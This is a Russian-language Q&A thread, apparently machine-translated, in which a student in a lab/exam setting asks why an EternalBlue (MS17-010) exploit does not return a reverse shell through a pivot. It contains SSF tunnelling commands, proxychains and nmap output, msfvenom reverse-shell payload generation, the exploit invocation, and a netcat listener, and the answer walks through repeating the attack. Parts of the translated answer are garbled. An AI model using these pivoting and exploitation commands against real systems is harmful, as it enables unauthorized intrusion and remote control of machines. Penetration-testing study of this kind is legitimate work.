- Вопрос или проблема
- Ответ или решение
- Как получить обратное соединение без Metasploit с использованием процесса пивотинга
- Шаг 1: Подтверждение настройки среднефотанализатора
- Шаг 2: Проверка целевой системы
- Шаг 3: Генерация полезной нагрузки
- Шаг 4: Отправка полезной нагрузки
- Шаг 5: Проверка обратного соединения
- Шаг 6: Отладка и устранение проблем
- Заключение
Вопрос или проблема
У меня экзамен на следующей неделе. Мне нужна помощь.
Это моя лаборатория:
машина атакующего (kali) : 192.168.1.81
1-я взломанная машина (Windows 10) : 10.10.10.130
целевой объект (Windows 7) : 10.10.10.135 (имеет эксплоит MS17-010)
Шаги, которые я выполняю:
Я взломал машину Windows 10, получил обратный шелл через netcat, затем загрузил в неё (ssf) Secure Socket Funneling. Я выполнил эту команду на машине Windows 10:
ssf.exe -g -F 22222 -L 10.10.10.130:3333:192.168.1.81:3333 -p 11111
192.168.1.81
Затем я выполнил эту команду на своей машине kali:
./ssfd -p 11111
Я добавил эту строку в etc/proxychains4.conf:
socks4 127.0.0.1 22222
Я получил ответ от клиента ssf (Windows 10) к kali (ssfd серверу)
[2021-02-18T17:03:39-05:00] [info] [config] [tls] CA cert path: <файл: ./certs/trusted/ca.crt>
[2021-02-18T17:03:39-05:00] [info] [config] [tls] cert path: <файл: ./certs/certificate.crt>
[2021-02-18T17:03:39-05:00] [info] [config] [tls] key path: <файл: ./certs/private.key>
[2021-02-18T17:03:39-05:00] [info] [config] [tls] key password: <>
[2021-02-18T17:03:39-05:00] [info] [config] [tls] dh path: <файл: ./certs/dh4096.pem>
[2021-02-18T17:03:39-05:00] [info] [config] [tls] cipher suite: <DHE-RSA-AES256-GCM-SHA384>
[2021-02-18T17:03:39-05:00] [info] [config] [http proxy] <Нет>
[2021-02-18T17:03:39-05:00] [info] [config] [socks proxy] <Нет>
[2021-02-18T17:03:39-05:00] [info] [config] [circuit] <Нет>
[2021-02-18T17:03:39-05:00] [info] [ssfd] listening on <*:11111>
[2021-02-18T17:03:39-05:00] [info] [ssfd] running (Ctrl + C to stop)
[2021-02-18T17:09:49-05:00] [info] [microservice] [stream_listener]: forward TCP connections from <127.0.0.1:22222> to 22222
[2021-02-18T17:09:49-05:00] [info] [microservice] [stream_forwarder]: start forwarding stream fiber from fiber port 3333 to 192.168.1.81:3333
Я протестировал nmap с proxychains, я просканировал ip: 10.10.10.135. И это работает нормально:
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 17:31 EST
[proxychains] Strict chain ... 127.0.0.1:22222 ... 10.10.10.135:80 <--denied
[proxychains] Strict chain ... 127.0.0.1:22222 ... 10.10.10.135:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:22222 ... 10.10.10.135:445 ... OK
Nmap scan report for 10.10.10.135
Host is up (1.9s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Уязвимость выполнения удаленного кода в серверах Microsoft SMBv1 (ms17-010)
| Состояние: УЯЗВИМ
| ID: CVE:CVE-2017-0143
| Фактор риска: ВЫСОКИЙ
| Существует критическая уязвимость выполнения удаленного кода в серверах Microsoft SMBv1
| (ms17-010).
|
| Дата раскрытия: 2017-03-14
| Ссылки:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap завершен: 1 IP-адрес (1 хост активен) просканирован за 3.94 секунды
Теперь мне нужно эксплуатировать это без metasploit. Я скачал AutoBlue-MS17-010 с github и сгенерировал свой шеллкод:
Eternal Blue Windows Shellcode Compiler
Давайте скомпилируем их виндозный шеллкод
Компиляция x64 ядра шеллкода
Компиляция x86 ядра шеллкода
ядро шеллкода скомпилировано, хотели бы вы автоматически сгенерировать обратный шелл с msfvenom? (Y/n)
y
LHOST для обратного соединения:
10.10.10.130
LPORT, на котором вы хотите, чтобы x64 слушал:
3333
LPORT, на котором вы хотите, чтобы x86 слушал:
3333
Введите 0 для генерации метерпратера или 1 для генерации обычного cmd шелла
1
Введите 0 для генерации поэтапной полезной нагрузки или 1 для генерации бесступенчатой полезной нагрузки
1
Генерация x64 cmd шелла (бесступенчатого)...
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.10.130 LPORT=3333
[-] Платформа не была выбрана, выбираем Msf::Module::Platform::Windows из полезной нагрузки
[-] Архитектура не выбрана, выбираем архитектуру: x64 из полезной нагрузки
Не задан кодировщик, выводим необработанную полезную нагрузку
Размер полезной нагрузки: 460 байт
Сохранено как: sc_x64_msf.bin
Генерация x86 cmd шелла (бесступенчатого)...
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.10.130 LPORT=3333
[-] Платформа не была выбрана, выбираем Msf::Module::Platform::Windows из полезной нагрузки
[-] Архитектура не выбрана, выбираем архитектуру: x86 из полезной нагрузки
Не задан кодировщик, выводим необработанную полезную нагрузку
Размер полезной нагрузки: 324 байта
Сохранено как: sc_x86_msf.bin
СЛИЯНИЕ ШЕЛЛКОДОВ УРА!!!
ГОТОВО
Затем я отправил это через:
proxychains4 python ../eternalblue_exploit7.py 10.10.10.135
sc_x64_msf.bin
И я не получил обратный шелл (вот с чем мне нужна помощь)
Так что, чтобы было ясно, сетевое подключение выглядит так?
192.168.1.81 <---> 10.10.10.130 <---> 10.10.10.135
И затем вы пытаетесь поймать шелл с 10.10.10.135
, перенаправив 10.10.10.130:3333
на 192.168.1.81:3333
напрямую?
Или, поскольку вы упомянули третью машину в своем сообщении, участвует ли 192.168.1.50 в процессе пивотирования в какой-то момент?
A) У вас настроен слушатель на 192.168.1.81:3333
? Из вашего сообщения не ясно, есть ли он вообще. Похоже, что вы просто отправляете полезную нагрузку и не пытаетесь поймать шелл.
B) Иногда Nmap отправляет ложные срабатывания, может быть, служба SMB на самом деле не уязвима для EternalBlue. Также похоже, что вы отправляете полезную нагрузку x64, вы уверены, что ваша целевая машина x64? Попробуйте отправить полезную нагрузку x86.
Ответ или решение
Как получить обратное соединение без Metasploit с использованием процесса пивотинга
В данной ситуации вам уже удалось внедриться в первую уязвимую машину (Windows 10) и установить обратное соединение на атакующей машине (Kali), после чего вы пытаетесь использовать уязвимость MS17-010 для атаки на вторую машину (Windows 7). Рассмотрим шаги, которые помогут вам правильно настроить процесс пивотинга и получить доступ к конечной системе.
Шаг 1: Подтверждение настройки среднефотанализатора
Перед тем, как начать атаку на Windows 7, убедитесь, что слушатель установлен на вашей атакующей машине Kali (192.168.1.81):
nc -lvnp 3333
Эта команда настроит netcat
для прослушивания входящих соединений на порту 3333. Убедитесь, что слушатель активен перед отправкой полезной нагрузки.
Шаг 2: Проверка целевой системы
Чтобы избежать ошибок и подтверждений, важно убедиться, что целевая система (Windows 7) соответствует необходимым характеристикам для эксплуатации. Проверьте архитектуру системы (x86 или x64) и убедитесь, что на ней действительно включен SMBv1.
Для этого попробуйте использовать Nmap для того, чтобы подтвердить, что система действительно уязвима:
proxychains4 nmap -p 445 --script smb-vuln-ms17-010 10.10.10.135
Если второй вывод подтверждает уязвимость, переходите к следующему шагу.
Шаг 3: Генерация полезной нагрузки
Вы уже скомпилировали полезную нагрузку с помощью msfvenom
. Убедитесь, что вы генерируете как x64, так и x86 полезные нагрузки:
Для x64:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.130 LPORT=3333 -f raw -o sc_x64_msf.bin
Для x86:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.130 LPORT=3333 -f raw -o sc_x86_msf.bin
Шаг 4: Отправка полезной нагрузки
При отправке полезной нагрузки с помощью скрипта EternalBlue
, убедитесь, что вы правильно указываете путь к вашей скомпилированной полезной нагрузке. Для отправки вы используете:
proxychains4 python ../eternalblue_exploit7.py 10.10.10.135 sc_x64_msf.bin
Шаг 5: Проверка обратного соединения
После выполнения вышеуказанного шага внимательно следите за терминалом, где вы настроили netcat
. Если вы не получили обратное соединение, стоит рассмотреть следующие моменты:
- Слушатель: Убедитесь, что ваш слушатель все еще работает и ожидает соединения.
- Архитектура: Если ваша целевая машина 32-битная, попробуйте использовать x86 полезную нагрузку вместо x64.
- Сеть и брандмауэр: Убедитесь, что антивирус или брандмауэр на целевой машине не блокирует соединение. Возможно, стоит попробовать разные порты или отключить брандмауэр для теста.
Шаг 6: Отладка и устранение проблем
Если вы все еще не получаете обратное соединение, оцените вывод вашего скрипта. Возможно, он указывает на какие-либо проблемы с отправкой данных или неподходящей полезной нагрузкой. Проверьте:
- Успешное установление соединения между целевыми машинами и атакующей конструкцией.
- Все ли необходимые зависимости и библиотеки установлены на целевой машине.
- Соответствуют ли версии используемого ПО на всех машинах.
Заключение
Постарайтесь внимательно пройти через все шаги, описанные в данной инструкции. Убедитесь, что ваша сеть и соответствующие настроенные сервисы корректно функционируют. Если вы все сделали правильно, то успешная эксплуатация уязвимости MS17-010 и получите обратное соединение с целевой машиной должны быть возможными. Удачи на вашем экзамене!